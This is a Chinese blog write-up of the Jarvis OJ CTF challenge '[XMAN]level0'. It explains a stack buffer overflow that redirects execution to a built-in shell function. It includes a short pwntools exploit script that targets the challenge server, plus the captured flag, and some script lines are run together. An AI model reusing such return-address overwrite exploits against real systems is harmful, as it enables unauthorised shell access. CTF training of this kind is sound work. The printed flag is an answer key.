Jarvis OJ - [XMAN]level0 - Writeup

2023-06-05,,

差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼

分析一下,checksec 查看程序的各种保护机制

没有金丝雀,没有pie

执行时输出Hello,World,在进行输入,溢出嘛

 开工

丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem

继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8

所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell

程序流程(从ABO偷来下图)

灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序

脚本

 #!/usr/bin/env python
# coding:utf-8
# writen by Exm from pwn import *
io = process("./level0")
io = remote("pwn2.jarvisoj.com" , 9881)
elf = ELF("./level0")
func_addr = elf.symbols["callsystem"]
payload = 'a' * (0x80 + 0x8) + p64(func_addr) io.recvline()
io.sendline(payload)
io.interactive()
io.close()

补充一下

symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!

执行一下就getshell啦,拿flag入探囊取物

flag: CTF{713ca3944e92180e0ef03171981dcd41}

作者:辣鸡小谱尼

出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

Jarvis OJ - [XMAN]level0 - Writeup的相关教程结束。

《Jarvis OJ - [XMAN]level0 - Writeup.doc》

下载本文的Word格式文档,以方便收藏与打印。